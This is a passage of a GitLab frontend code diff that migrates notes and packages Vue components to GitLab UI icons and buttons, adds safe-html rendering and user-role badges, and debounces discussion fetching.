@@ -378,7 +380,7 @@ export default {
dir="auto"
:disabled="isSubmitting"
name="note[note]"
- class="note-textarea js-vue-comment-form js-note-text js-gfm-input js-autosize markdown-area js-vue-textarea qa-comment-input"
+ class="note-textarea js-vue-comment-form js-note-text js-gfm-input js-autosize markdown-area qa-comment-input"
data-supports-quick-actions="true"
:aria-label="__('Description')"
:placeholder="__('Write a comment or drag your files here…')"
@@ -395,7 +397,7 @@ export default {
:secondary-button-text="__('Cancel')"
variant="warning"
:dismissible="false"
- @primaryAction="forceCloseIssue"
+ @primaryAction="toggleBlockedIssueWarning(false) && forceCloseIssue()"
@secondaryAction="toggleBlockedIssueWarning(false) && enableButton()"
>
<p>
@@ -421,27 +423,28 @@ export default {
<div
class="btn-group gl-mr-3 comment-type-dropdown js-comment-type-dropdown droplab-dropdown"
>
- <button
+ <gl-button
:disabled="isSubmitButtonDisabled"
- class="btn btn-success js-comment-button js-comment-submit-button qa-comment-button"
+ class="js-comment-button js-comment-submit-button qa-comment-button"
type="submit"
+ category="primary"
+ variant="success"
:data-track-label="trackingLabel"
data-track-event="click_button"
@click.prevent="handleSave()"
+ >{{ commentButtonTitle }}</gl-button
>
- {{ commentButtonTitle }}
- </button>
- <button
+ <gl-button
:disabled="isSubmitButtonDisabled"
name="button"
- type="button"
- class="btn btn-success note-type-toggle js-note-new-discussion dropdown-toggle qa-note-dropdown"
+ category="primary"
+ variant="success"
+ class="note-type-toggle js-note-new-discussion dropdown-toggle qa-note-dropdown"
data-display="static"
data-toggle="dropdown"
+ icon="chevron-down"
:aria-label="__('Open comment type dropdown')"
- >
- <i aria-hidden="true" class="fa fa-caret-down toggle-icon"></i>
- </button>
+ />
<ul class="note-type-dropdown dropdown-open-top dropdown-menu">
<li :class="{ 'droplab-item-selected': noteType === 'comment' }">
@@ -465,11 +468,7 @@ export default {
</li>
<li class="divider droplab-item-ignore"></li>
<li :class="{ 'droplab-item-selected': noteType === 'discussion' }">
- <button
- type="button"
- class="btn btn-transparent qa-discussion-option"
- @click.prevent="setNoteType('discussion')"
- >
+ <button class="qa-discussion-option" @click.prevent="setNoteType('discussion')">
<i aria-hidden="true" class="fa fa-check icon"></i>
<div class="description">
<strong>{{ __('Start thread') }}</strong>
@@ -480,17 +479,19 @@ export default {
</ul>
</div>
- <loading-button
+ <gl-button
v-if="canToggleIssueState && !isToggleBlockedIssueWarning"
:loading="isToggleStateButtonLoading"
- :container-class="[
+ category="secondary"
+ :variant="buttonVariant"
+ :class="[
actionButtonClassNames,
- 'btn btn-comment btn-comment-and-close js-action-button',
+ 'btn-comment btn-comment-and-close js-action-button',
]"
:disabled="isToggleStateButtonLoading || isSubmitting"
- :label="issueActionButtonTitle"
@click="handleSave(true)"
- />
+ >{{ issueActionButtonTitle }}</gl-button
+ >
</div>
</form>
</div>
diff --git a/app/assets/javascripts/notes/components/diff_discussion_header.vue b/app/assets/javascripts/notes/components/diff_discussion_header.vue
index 50d224a2f08..8e6c01ba63f 100644
--- a/app/assets/javascripts/notes/components/diff_discussion_header.vue
+++ b/app/assets/javascripts/notes/components/diff_discussion_header.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { mapActions } from 'vuex';
import { escape } from 'lodash';
diff --git a/app/assets/javascripts/notes/components/diff_with_note.vue b/app/assets/javascripts/notes/components/diff_with_note.vue
index 8897b54fac7..c01cd8f8037 100644
--- a/app/assets/javascripts/notes/components/diff_with_note.vue
+++ b/app/assets/javascripts/notes/components/diff_with_note.vue
@@ -1,6 +1,7 @@
<script>
+/* eslint-disable vue/no-v-html */
import { mapState, mapActions } from 'vuex';
-import { GlSkeletonLoading } from '@gitlab/ui';
+import { GlDeprecatedSkeletonLoading as GlSkeletonLoading } from '@gitlab/ui';
import DiffFileHeader from '~/diffs/components/diff_file_header.vue';
import DiffViewer from '~/vue_shared/components/diff_viewer/diff_viewer.vue';
import ImageDiffOverlay from '~/diffs/components/image_diff_overlay.vue';
diff --git a/app/assets/javascripts/notes/components/discussion_counter.vue b/app/assets/javascripts/notes/components/discussion_counter.vue
index 4a1a1086329..c6fab271376 100644
--- a/app/assets/javascripts/notes/components/discussion_counter.vue
+++ b/app/assets/javascripts/notes/components/discussion_counter.vue
@@ -1,7 +1,6 @@
<script>
import { mapGetters, mapActions } from 'vuex';
-import { GlTooltipDirective } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
import discussionNavigation from '../mixins/discussion_navigation';
export default {
@@ -9,7 +8,7 @@ export default {
GlTooltip: GlTooltipDirective,
},
components: {
- Icon,
+ GlIcon,
},
mixins: [discussionNavigation],
computed: {
@@ -60,7 +59,7 @@ export default {
:class="{ 'line-resolve-btn is-active': allResolved, 'line-resolve-text': !allResolved }"
>
<template v-if="allResolved">
- <icon name="check-circle-filled" />
+ <gl-icon name="check-circle-filled" />
{{ __('All threads resolved') }}
</template>
<template v-else>
@@ -79,7 +78,7 @@ export default {
:title="s__('Resolve all threads in new issue')"
class="new-issue-for-discussion btn btn-default discussion-create-issue-btn"
>
- <icon name="issue-new" />
+ <gl-icon name="issue-new" />
</a>
</div>
<div v-if="isLoggedIn && !allResolved" class="btn-group btn-group-sm" role="group">
@@ -92,7 +91,7 @@ export default {
data-track-property="click_next_unresolved_thread_top"
@click="jumpToNextDiscussion"
>
- <icon name="comment-next" />
+ <gl-icon name="comment-next" />
</button>
</div>
<div class="btn-group btn-group-sm" role="group">
@@ -102,7 +101,7 @@ export default {
class="btn btn-default toggle-all-discussions-btn"
@click="handleExpandDiscussions"
>
- <icon :name="allExpanded ? 'angle-up' : 'angle-down'" />
+ <gl-icon :name="allExpanded ? 'angle-up' : 'angle-down'" />
</button>
</div>
</div>
diff --git a/app/assets/javascripts/notes/components/discussion_filter.vue b/app/assets/javascripts/notes/components/discussion_filter.vue
index 6b1e3298f9a..989ce9ff144 100644
--- a/app/assets/javascripts/notes/components/discussion_filter.vue
+++ b/app/assets/javascripts/notes/components/discussion_filter.vue
@@ -1,8 +1,8 @@
<script>
import $ from 'jquery';
import { mapGetters, mapActions } from 'vuex';
+import { GlIcon } from '@gitlab/ui';
import { getLocationHash, doesHashExistInUrl } from '../../lib/utils/url_utility';
-import Icon from '~/vue_shared/components/icon.vue';
import {
DISCUSSION_FILTERS_DEFAULT_VALUE,
HISTORY_ONLY_FILTER_VALUE,
@@ -14,7 +14,7 @@ import notesEventHub from '../event_hub';
export default {
components: {
- Icon,
+ GlIcon,
},
props: {
filters: {
@@ -120,7 +120,7 @@ export default {
data-toggle="dropdown"
aria-expanded="false"
>
- {{ currentFilter.title }} <icon name="chevron-down" />
+ {{ currentFilter.title }} <gl-icon name="chevron-down" />
</button>
<div
ref="dropdownMenu"
diff --git a/app/assets/javascripts/notes/components/discussion_filter_note.vue b/app/assets/javascripts/notes/components/discussion_filter_note.vue
index 8dc4b43d69a..ae6646cf96c 100644
--- a/app/assets/javascripts/notes/components/discussion_filter_note.vue
+++ b/app/assets/javascripts/notes/components/discussion_filter_note.vue
@@ -1,6 +1,6 @@
<script>
-import { GlButton } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+/* eslint-disable vue/no-v-html */
+import { GlButton, GlIcon } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import notesEventHub from '../event_hub';
@@ -8,7 +8,7 @@ import notesEventHub from '../event_hub';
export default {
components: {
GlButton,
- Icon,
+ GlIcon,
},
computed: {
timelineContent() {
@@ -35,7 +35,7 @@ export default {
<template>
<li class="timeline-entry note note-wrapper discussion-filter-note js-discussion-filter-note">
<div class="timeline-icon d-none d-lg-flex">
- <icon name="comment" />
+ <gl-icon name="comment" />
</div>
<div class="timeline-content">
<div ref="timelineContent" v-html="timelineContent"></div>
diff --git a/app/assets/javascripts/notes/components/discussion_jump_to_next_button.vue b/app/assets/javascripts/notes/components/discussion_jump_to_next_button.vue
index b71ce1b6a0a..f94d0060b41 100644
--- a/app/assets/javascripts/notes/components/discussion_jump_to_next_button.vue
+++ b/app/assets/javascripts/notes/components/discussion_jump_to_next_button.vue
@@ -1,12 +1,11 @@
<script>
-import { GlTooltipDirective } from '@gitlab/ui';
-import icon from '~/vue_shared/components/icon.vue';
+import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
import discussionNavigation from '../mixins/discussion_navigation';
export default {
name: 'JumpToNextDiscussionButton',
components: {
- icon,
+ GlIcon,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -33,7 +32,7 @@ export default {
data-track-property="click_next_unresolved_thread"
@click="jumpToNextRelativeDiscussion(fromDiscussionId)"
>
- <icon name="comment-next" />
+ <gl-icon name="comment-next" />
</button>
</div>
</template>
diff --git a/app/assets/javascripts/notes/components/discussion_locked_widget.vue b/app/assets/javascripts/notes/components/discussion_locked_widget.vue
index 8636984c6af..2f215e36d5b 100644
--- a/app/assets/javascripts/notes/components/discussion_locked_widget.vue
+++ b/app/assets/javascripts/notes/components/discussion_locked_widget.vue
@@ -1,13 +1,12 @@
<script>
-import { GlLink } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlLink, GlIcon } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
import Issuable from '~/vue_shared/mixins/issuable';
import issuableStateMixin from '../mixins/issuable_state';
export default {
components: {
- Icon,
+ GlIcon,
GlLink,
},
mixins: [Issuable, issuableStateMixin],
@@ -28,7 +27,7 @@ export default {
<template>
<div class="disabled-comment text-center">
<span class="issuable-note-warning inline">
- <icon :size="16" name="lock" class="icon" />
+ <gl-icon :size="16" name="lock" class="icon" />
<span v-if="isProjectArchived">
{{ projectArchivedWarning }}
<gl-link :href="archivedProjectDocsPath" target="_blank" class="learn-more">
diff --git a/app/assets/javascripts/notes/components/discussion_resolve_button.vue b/app/assets/javascripts/notes/components/discussion_resolve_button.vue
index 77f6f1e51c5..e060a6affd4 100644
--- a/app/assets/javascripts/notes/components/discussion_resolve_button.vue
+++ b/app/assets/javascripts/notes/components/discussion_resolve_button.vue
@@ -1,10 +1,10 @@
<script>
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlButton } from '@gitlab/ui';
export default {
name: 'ResolveDiscussionButton',
components: {
- GlLoadingIcon,
+ GlButton,
},
props: {
isResolving: {
@@ -21,8 +21,7 @@ export default {
</script>
<template>
- <button ref="button" type="button" class="btn btn-default ml-sm-2" @click="$emit('onClick')">
- <gl-loading-icon v-if="isResolving" ref="isResolvingIcon" inline />
+ <gl-button :loading="isResolving" class="ml-sm-2" @click="$emit('onClick')">
{{ buttonTitle }}
- </button>
+ </gl-button>
</template>
diff --git a/app/assets/javascripts/notes/components/note_actions.vue b/app/assets/javascripts/notes/components/note_actions.vue
index a8ae7fb48f0..a8057276f1a 100644
--- a/app/assets/javascripts/notes/components/note_actions.vue
+++ b/app/assets/javascripts/notes/components/note_actions.vue
@@ -1,18 +1,18 @@
<script>
import { mapGetters } from 'vuex';
-import { GlLoadingIcon, GlTooltipDirective } from '@gitlab/ui';
-import { __ } from '~/locale';
+import { GlLoadingIcon, GlTooltipDirective, GlIcon } from '@gitlab/ui';
+import { __, sprintf } from '~/locale';
import resolvedStatusMixin from '~/batch_comments/mixins/resolved_status';
-import Icon from '~/vue_shared/components/icon.vue';
import ReplyButton from './note_actions/reply_button.vue';
import eventHub from '~/sidebar/event_hub';
import Api from '~/api';
import { deprecatedCreateFlash as flash } from '~/flash';
+import { splitCamelCase } from '../../lib/utils/text_utility';
export default {
name: 'NoteActions',
components: {
- Icon,
+ GlIcon,
ReplyButton,
GlLoadingIcon,
},
@@ -48,6 +48,26 @@ export default {
required: false,
default: null,
},
+ isAuthor: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ isContributor: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ noteableType: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ projectName: {
+ type: String,
+ required: false,
+ default: '',
+ },
showReply: {
type: Boolean,
required: true,
@@ -122,6 +142,9 @@ export default {
targetType() {
return this.getNoteableData.targetType;
},
+ noteableDisplayName() {
+ return splitCamelCase(this.noteableType).toLowerCase();
+ },
assignees() {
return this.getNoteableData.assignees || [];
},
@@ -131,6 +154,22 @@ export default {
canAssign() {
return this.getNoteableData.current_user?.can_update && this.isIssue;
},
+ displayAuthorBadgeText() {
+ return sprintf(__('This user is the author of this %{noteable}.'), {
+ noteable: this.noteableDisplayName,
+ });
+ },
+ displayMemberBadgeText() {
+ return sprintf(__('This user is a %{access} of the %{name} project.'), {
+ access: this.accessLevel.toLowerCase(),
+ name: this.projectName,
+ });
+ },
+ displayContributorBadgeText() {
+ return sprintf(__('This user has previously committed to the %{name} project.'), {
+ name: this.projectName,
+ });
+ },
},
methods: {
onEdit() {
@@ -176,7 +215,24 @@ export default {
<template>
<div class="note-actions">
- <span v-if="accessLevel" class="note-role user-access-role">{{ accessLevel }}</span>
+ <span
+ v-if="isAuthor"
+ class="note-role user-access-role has-tooltip d-none d-md-inline-block"
+ :title="displayAuthorBadgeText"
+ >{{ __('Author') }}</span
+ >
+ <span
+ v-if="accessLevel"
+ class="note-role user-access-role has-tooltip"
+ :title="displayMemberBadgeText"
+ >{{ accessLevel }}</span
+ >
+ <span
+ v-else-if="isContributor"
+ class="note-role user-access-role has-tooltip"
+ :title="displayContributorBadgeText"
+ >{{ __('Contributor') }}</span
+ >
<div v-if="canResolve" class="note-actions-item">
<button
ref="resolveButton"
@@ -189,7 +245,7 @@ export default {
@click="onResolve"
>
<template v-if="!isResolving">
- <icon :name="isResolved ? 'check-circle-filled' : 'check-circle'" />
+ <gl-icon :name="isResolved ? 'check-circle-filled' : 'check-circle'" />
</template>
<gl-loading-icon v-else inline />
</button>
@@ -203,9 +259,9 @@ export default {
title="Add reaction"
data-position="right"
>
- <icon class="link-highlight award-control-icon-neutral" name="slight-smile" />
- <icon class="link-highlight award-control-icon-positive" name="smiley" />
- <icon class="link-highlight award-control-icon-super-positive" name="smiley" />
+ <gl-icon class="link-highlight award-control-icon-neutral" name="slight-smile" />
+ <gl-icon class="link-highlight award-control-icon-positive" name="smiley" />
+ <gl-icon class="link-highlight award-control-icon-super-positive" name="smiley" />
</a>
</div>
<reply-button
@@ -222,7 +278,7 @@ export default {
class="note-action-button js-note-edit btn btn-transparent qa-note-edit-button"
@click="onEdit"
>
- <icon name="pencil" class="link-highlight" />
+ <gl-icon name="pencil" class="link-highlight" />
</button>
</div>
<div v-if="showDeleteAction" class="note-actions-item">
@@ -233,7 +289,7 @@ export default {
class="note-action-button js-note-delete btn btn-transparent"
@click="onDelete"
>
- <icon name="remove" class="link-highlight" />
+ <gl-icon name="remove" class="link-highlight" />
</button>
</div>
<div v-else-if="shouldShowActionsDropdown" class="dropdown more-actions note-actions-item">
@@ -245,7 +301,7 @@ export default {
data-toggle="dropdown"
@click="closeTooltip"
>
- <icon class="icon" name="ellipsis_v" />
+ <gl-icon class="icon" name="ellipsis_v" />
</button>
<ul class="dropdown-menu more-actions-dropdown dropdown-open-left">
<li v-if="canReportAsAbuse">
diff --git a/app/assets/javascripts/notes/components/note_actions/reply_button.vue b/app/assets/javascripts/notes/components/note_actions/reply_button.vue
index 30cb7967c34..f19b7667fb2 100644
--- a/app/assets/javascripts/notes/components/note_actions/reply_button.vue
+++ b/app/assets/javascripts/notes/components/note_actions/reply_button.vue
@@ -1,12 +1,10 @@
<script>
-import { GlTooltipDirective, GlDeprecatedButton } from '@gitlab/ui';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlTooltipDirective, GlButton } from '@gitlab/ui';
export default {
name: 'ReplyButton',
components: {
- Icon,
- GlDeprecatedButton,
+ GlButton,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -16,17 +14,17 @@ export default {
<template>
<div class="note-actions-item">
- <gl-deprecated-button
+ <gl-button
ref="button"
v-gl-tooltip
- class="note-action-button"
data-track-event="click_button"
data-track-label="reply_comment_button"
- variant="transparent"
+ category="tertiary"
+ size="small"
+ icon="comment"
:title="__('Reply to comment')"
+ :aria-label="__('Reply to comment')"
@click="$emit('startReplying')"
- >
- <icon name="comment" class="link-highlight" />
- </gl-deprecated-button>
+ />
</div>
</template>
diff --git a/app/assets/javascripts/notes/components/note_body.vue b/app/assets/javascripts/notes/components/note_body.vue
index 42b78929f8a..314fa762768 100644
--- a/app/assets/javascripts/notes/components/note_body.vue
+++ b/app/assets/javascripts/notes/components/note_body.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { mapActions, mapGetters, mapState } from 'vuex';
import $ from 'jquery';
import '~/behaviors/markdown/render_gfm';
diff --git a/app/assets/javascripts/notes/components/note_form.vue b/app/assets/javascripts/notes/components/note_form.vue
index 24227d55ebf..88b4461cf38 100644
--- a/app/assets/javascripts/notes/components/note_form.vue
+++ b/app/assets/javascripts/notes/components/note_form.vue
@@ -1,4 +1,5 @@
<script>
+/* eslint-disable vue/no-v-html */
import { mapGetters, mapActions, mapState } from 'vuex';
import { mergeUrlParams } from '~/lib/utils/url_utility';
import eventHub from '../event_hub';
@@ -336,7 +337,7 @@ export default {
v-model="updatedNoteBody"
:data-supports-quick-actions="!isEditing"
name="note[note]"
- class="note-textarea js-gfm-input js-note-text js-autosize markdown-area js-vue-issue-note-form js-vue-textarea qa-reply-input"
+ class="note-textarea js-gfm-input js-note-text js-autosize markdown-area js-vue-issue-note-form qa-reply-input"
dir="auto"
:aria-label="__('Description')"
:placeholder="__('Write a comment or drag your files here…')"
diff --git a/app/assets/javascripts/notes/components/note_header.vue b/app/assets/javascripts/notes/components/note_header.vue
index 9ded5ab648e..a13a0dbbf30 100644
--- a/app/assets/javascripts/notes/components/note_header.vue
+++ b/app/assets/javascripts/notes/components/note_header.vue
@@ -1,6 +1,7 @@
<script>
+/* eslint-disable vue/no-v-html */
import { mapActions } from 'vuex';
-import { GlIcon, GlTooltipDirective } from '@gitlab/ui';
+import { GlIcon, GlLoadingIcon, GlTooltipDirective } from '@gitlab/ui';
import timeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
export default {
@@ -9,6 +10,7 @@ export default {
GitlabTeamMemberBadge: () =>
import('ee_component/vue_shared/components/user_avatar/badges/gitlab_team_member_badge.vue'),
GlIcon,
+ GlLoadingIcon,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -194,13 +196,12 @@ export default {
class="gl-ml-1 gl-text-gray-700 align-middle"
/>
<slot name="extra-controls"></slot>
- <i
+ <gl-loading-icon
v-if="showSpinner"
ref="spinner"
- class="fa fa-spinner fa-spin editing-spinner"
- :aria-label="__('Comment is being updated')"
- aria-hidden="true"
- ></i>
+ class="editing-spinner"
+ :label="__('Comment is being updated')"
+ />
</span>
</div>
</template>
diff --git a/app/assets/javascripts/notes/components/note_signed_out_widget.vue b/app/assets/javascripts/notes/components/note_signed_out_widget.vue
index ccfe84ab098..593933016e1 100644
--- a/app/assets/javascripts/notes/components/note_signed_out_widget.vue
+++ b/app/assets/javascripts/notes/components/note_signed_out_widget.vue
@@ -1,8 +1,12 @@
<script>
+import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import { mapGetters } from 'vuex';
import { __, sprintf } from '~/locale';
export default {
+ directives: {
+ SafeHtml,
+ },
computed: {
...mapGetters(['getNotesDataByProp']),
registerLink() {
@@ -30,5 +34,5 @@ export default {
</script>
<template>
- <div class="disabled-comment text-center" v-html="signedOutText"></div>
+ <div v-safe-html="signedOutText" class="disabled-comment text-center"></div>
</template>
diff --git a/app/assets/javascripts/notes/components/noteable_discussion.vue b/app/assets/javascripts/notes/components/noteable_discussion.vue
index b4176c6063b..62ee7f30c57 100644
--- a/app/assets/javascripts/notes/components/noteable_discussion.vue
+++ b/app/assets/javascripts/notes/components/noteable_discussion.vue
@@ -1,10 +1,9 @@
<script>
import { mapActions, mapGetters } from 'vuex';
-import { GlTooltipDirective } from '@gitlab/ui';
+import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
import diffLineNoteFormMixin from '~/notes/mixins/diff_line_note_form';
import { s__, __ } from '~/locale';
import { clearDraft, getDiscussionReplyKey } from '~/lib/utils/autosave';
-import icon from '~/vue_shared/components/icon.vue';
import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
import DraftNote from '~/batch_comments/components/draft_note.vue';
import { deprecatedCreateFlash as Flash } from '../../flash';
@@ -22,7 +21,7 @@ import DiscussionActions from './discussion_actions.vue';
export default {
name: 'NoteableDiscussion',
components: {
- icon,
+ GlIcon,
userAvatarLink,
diffDiscussionHeader,
noteSignedOutWidget,
diff --git a/app/assets/javascripts/notes/components/noteable_note.vue b/app/assets/javascripts/notes/components/noteable_note.vue
index ce771e67cbb..4f45fcb0062 100644
--- a/app/assets/javascripts/notes/components/noteable_note.vue
+++ b/app/assets/javascripts/notes/components/noteable_note.vue
@@ -2,7 +2,7 @@
import $ from 'jquery';
import { mapGetters, mapActions } from 'vuex';
import { escape } from 'lodash';
-import { GlSprintf } from '@gitlab/ui';
+import { GlSprintf, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { truncateSha } from '~/lib/utils/text_utility';
import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
@@ -34,6 +34,9 @@ export default {
NoteBody,
TimelineEntryItem,
},
+ directives: {
+ SafeHtml,
+ },
mixins: [noteable, resolvable, glFeatureFlagsMixin()],
props: {
note: {
@@ -358,7 +361,7 @@ export default {
</template>
</gl-sprintf>
</div>
- <div v-once class="timeline-icon">
+ <div class="timeline-icon">
<user-avatar-link
:link-href="author.path"
:img-src="author.avatar_url"
@@ -371,14 +374,13 @@ export default {
<div class="timeline-content">
<div class="note-header">
<note-header
- v-once
:author="author"
:created-at="note.created_at"
:note-id="note.id"
:is-confidential="note.confidential"
>
<slot slot="note-header-info" name="note-header-info"></slot>
- <span v-if="commit" v-html="actionText"></span>
+ <span v-if="commit" v-safe-html="actionText"></span>
<span v-else-if="note.created_at" class="d-none d-sm-inline">&middot;</span>
</note-header>
<note-actions
@@ -387,6 +389,10 @@ export default {
:note-id="note.id"
:note-url="note.noteable_note_url"
:access-level="note.human_access"
+ :is-contributor="note.is_contributor"
+ :is-author="note.is_noteable_author"
+ :project-name="note.project_name"
+ :noteable-type="note.noteable_type"
:show-reply="showReplyButton"
:can-edit="note.current_user.can_edit"
:can-award-emoji="note.current_user.can_award_emoji"
diff --git a/app/assets/javascripts/notes/components/toggle_replies_widget.vue b/app/assets/javascripts/notes/components/toggle_replies_widget.vue
index dd132d4f608..bddac60647d 100644
--- a/app/assets/javascripts/notes/components/toggle_replies_widget.vue
+++ b/app/assets/javascripts/notes/components/toggle_replies_widget.vue
@@ -1,12 +1,12 @@
<script>
import { uniqBy } from 'lodash';
-import Icon from '~/vue_shared/components/icon.vue';
+import { GlIcon } from '@gitlab/ui';
import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
export default {
components: {
- Icon,
+ GlIcon,
UserAvatarLink,
TimeAgoTooltip,
},
@@ -44,7 +44,7 @@ export default {
<template>
<li :class="className" class="replies-toggle js-toggle-replies">
<template v-if="collapsed">
- <icon name="chevron-right" @click.native="toggle" />
+ <gl-icon name="chevron-right" @click.native="toggle" />
<div>
<user-avatar-link
v-for="author in uniqueAuthors"
@@ -71,7 +71,7 @@ export default {
class="collapse-replies-btn js-collapse-replies qa-collapse-replies"
@click="toggle"
>
- <icon name="chevron-down" /> {{ s__('Notes|Collapse replies') }}
+ <gl-icon name="chevron-down" /> {{ s__('Notes|Collapse replies') }}
</span>
</li>
</template>
diff --git a/app/assets/javascripts/notes/constants.js b/app/assets/javascripts/notes/constants.js
index c1449237f8a..b81aae7c257 100644
--- a/app/assets/javascripts/notes/constants.js
+++ b/app/assets/javascripts/notes/constants.js
@@ -22,6 +22,8 @@ export const TIME_DIFFERENCE_VALUE = 10;
export const ASC = 'asc';
export const DESC = 'desc';
+export const DISCUSSION_FETCH_TIMEOUT = 750;
+
export const NOTEABLE_TYPE_MAPPING = {
Issue: ISSUE_NOTEABLE_TYPE,
MergeRequest: MERGE_REQUEST_NOTEABLE_TYPE,
diff --git a/app/assets/javascripts/notes/stores/actions.js b/app/assets/javascripts/notes/stores/actions.js
index f6069b509e8..9c63a7e3cd4 100644
--- a/app/assets/javascripts/notes/stores/actions.js
+++ b/app/assets/javascripts/notes/stores/actions.js
@@ -87,6 +87,7 @@ export const fetchDiscussions = ({ commit, dispatch }, { path, filter, persistFi
return axios.get(path, config).then(({ data }) => {
commit(types.SET_INITIAL_DISCUSSIONS, data);
+ commit(types.SET_FETCHING_DISCUSSIONS, false);
dispatch('updateResolvableDiscussionsCounts');
});
@@ -136,6 +137,23 @@ export const updateNote = ({ commit, dispatch }, { endpoint, note }) =>
export const updateOrCreateNotes = ({ commit, state, getters, dispatch }, notes) => {
const { notesById } = getters;
+ const debouncedFetchDiscussions = isFetching => {
+ if (!isFetching) {
+ commit(types.SET_FETCHING_DISCUSSIONS, true);
+ dispatch('fetchDiscussions', { path: state.notesData.discussionsPath });
+ } else {
+ if (isFetching !== true) {
+ clearTimeout(state.currentlyFetchingDiscussions);
+ }
+
+ commit(
+ types.SET_FETCHING_DISCUSSIONS,
+ setTimeout(() => {
+ dispatch('fetchDiscussions', { path: state.notesData.discussionsPath });
+ }, constants.DISCUSSION_FETCH_TIMEOUT),
+ );
+ }
+ };
notes.forEach(note => {
if (notesById[note.id]) {
@@ -146,7 +164,7 @@ export const updateOrCreateNotes = ({ commit, state, getters, dispatch }, notes)
if (discussion) {
commit(types.ADD_NEW_REPLY_TO_DISCUSSION, note);
} else if (note.type === constants.DIFF_NOTE) {
- dispatch('fetchDiscussions', { path: state.notesData.discussionsPath });
+ debouncedFetchDiscussions(state.currentlyFetchingDiscussions);
} else {
commit(types.ADD_NEW_NOTE, note);
}
@@ -457,7 +475,7 @@ export const poll = ({ commit, state, getters, dispatch }) => {
});
if (!Visibility.hidden()) {
- eTagPoll.makeRequest();
+ eTagPoll.makeDelayedRequest(2500);
} else {
dispatch('fetchData');
}
diff --git a/app/assets/javascripts/notes/stores/modules/index.js b/app/assets/javascripts/notes/stores/modules/index.js
index 1649e63c61f..161c9b8b1b5 100644
--- a/app/assets/javascripts/notes/stores/modules/index.js
+++ b/app/assets/javascripts/notes/stores/modules/index.js
@@ -12,6 +12,7 @@ export default () => ({
lastFetchedAt: null,
currentDiscussionId: null,
batchSuggestionsInfo: [],
+ currentlyFetchingDiscussions: false,
/**
* selectedCommentPosition & selectedCommentPosition structures are the same as `position.line_range`:
* {
diff --git a/app/assets/javascripts/notes/stores/mutation_types.js b/app/assets/javascripts/notes/stores/mutation_types.js
index eb3447291bc..23515cdd9e3 100644
--- a/app/assets/javascripts/notes/stores/mutation_types.js
+++ b/app/assets/javascripts/notes/stores/mutation_types.js
@@ -36,6 +36,7 @@ export const SET_CURRENT_DISCUSSION_ID = 'SET_CURRENT_DISCUSSION_ID';
export const SET_DISCUSSIONS_SORT = 'SET_DISCUSSIONS_SORT';
export const SET_SELECTED_COMMENT_POSITION = 'SET_SELECTED_COMMENT_POSITION';
export const SET_SELECTED_COMMENT_POSITION_HOVER = 'SET_SELECTED_COMMENT_POSITION_HOVER';
+export const SET_FETCHING_DISCUSSIONS = 'SET_FETCHING_DISCUSSIONS';
// Issue
export const CLOSE_ISSUE = 'CLOSE_ISSUE';
diff --git a/app/assets/javascripts/notes/stores/mutations.js b/app/assets/javascripts/notes/stores/mutations.js
index aa078f00569..a8bd94cc763 100644
--- a/app/assets/javascripts/notes/stores/mutations.js
+++ b/app/assets/javascripts/notes/stores/mutations.js
@@ -379,4 +379,7 @@ export default {
[types.UPDATE_ASSIGNEES](state, assignees) {
state.noteableData.assignees = assignees;
},
+ [types.SET_FETCHING_DISCUSSIONS](state, value) {
+ state.currentlyFetchingDiscussions = value;
+ },
};
diff --git a/app/assets/javascripts/packages/details/components/additional_metadata.vue b/app/assets/javascripts/packages/details/components/additional_metadata.vue
index a3de6dd46c7..76e0976ac05 100644
--- a/app/assets/javascripts/packages/details/components/additional_metadata.vue
+++ b/app/assets/javascripts/packages/details/components/additional_metadata.vue
@@ -1,7 +1,7 @@
<script>
import { GlLink, GlSprintf } from '@gitlab/ui';
import { s__ } from '~/locale';
-import DetailsRow from '~/registry/shared/components/details_row.vue';
+import DetailsRow from '~/vue_shared/components/registry/details_row.vue';
import { generateConanRecipe } from '../utils';
import { PackageType } from '../../shared/constants';
diff --git a/app/assets/javascripts/packages/details/components/app.vue b/app/assets/javascripts/packages/details/components/app.vue
index dbb5f7be0a0..af3220840a6 100644
--- a/app/assets/javascripts/packages/details/components/app.vue
+++ b/app/assets/javascripts/packages/details/components/app.vue
@@ -25,8 +25,9 @@ import { numberToHumanSize } from '~/lib/utils/number_utils';
import timeagoMixin from '~/vue_shared/mixins/timeago';
import FileIcon from '~/vue_shared/components/file_icon.vue';
import { __, s__ } from '~/locale';
-import { PackageType, TrackingActions } from '../../shared/constants';
+import { PackageType, TrackingActions, SHOW_DELETE_SUCCESS_ALERT } from '../../shared/constants';
import { packageTypeToTrackCategory } from '../../shared/utils';
+import { objectToQueryString } from '~/lib/utils/common_utils';
export default {
name: 'PackagesApp',
@@ -62,17 +63,15 @@ export default {
'packageFiles',
'isLoading',
'canDelete',
- 'destroyPath',
'svgPath',
'npmPath',
'npmHelpPath',
+ 'projectListUrl',
+ 'groupListUrl',
]),
isValidPackage() {
return Boolean(this.packageEntity.name);
},
- canDeletePackage() {
- return this.canDelete && this.destroyPath;
- },
